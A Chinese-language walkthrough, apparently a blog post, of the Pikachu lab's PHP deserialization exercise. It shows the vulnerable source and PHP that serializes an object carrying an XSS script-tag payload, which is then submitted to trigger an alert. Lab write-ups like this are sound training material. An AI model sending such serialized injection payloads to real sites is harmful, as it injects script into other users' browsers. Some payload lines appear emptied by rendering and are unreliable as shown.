pikachu_php反序列化

pikachu_php反序列化

源代码

class S{
    var $test = "pikachu";
    function __construct(){
        echo $this->test;
    }
}


//O:1:"S":1:{s:4:"test";s:29:"";}
$html='';
if(isset($_POST['o'])){
    $s = $_POST['o'];
    if(!@$unser = unserialize($s)){
        $html.="

大兄弟,来点劲爆点儿的!

"
; }else{ $html.="

{$unser->test}

"
; } }

源码可见,需要执行到test,那么就需要执行construct函数,该魔法函数创建对象时就会被执行,执行到else分支之后输入值的反序列化就会当做值给test调用

过程

尝试写一个xss攻击,将xss攻击序列化提交


class Test{
	public $a="";
}
	$a=new Test();
	var_dump(serialize($a));
?>

查看结果

pikachu_php反序列化_第1张图片

发现xss标签部分被执行了,然后没有了

因此需要在序列化的时候替换掉xss攻击代码中的一部分,让其无法执行,生成后再替换回来即可

此处将括号换成x,并且构造成源码一样的参数名


class S{
    var $test = "xscript>alert(/order/)x/script>";
}
    $s=new S(); 
    print_r(serialize($s));
?>

得到结果然后修改尖括号

O:1:"S":1:{s:4:"test";s:31:"xscript>alert(/order/)x/script>";}

O:1:"S":1:{s:4:"test";s:31:"";}

拿去执行,成功执行xss

pikachu_php反序列化_第2张图片

你可能感兴趣的:(php,android,开发语言,web安全,安全,网络安全)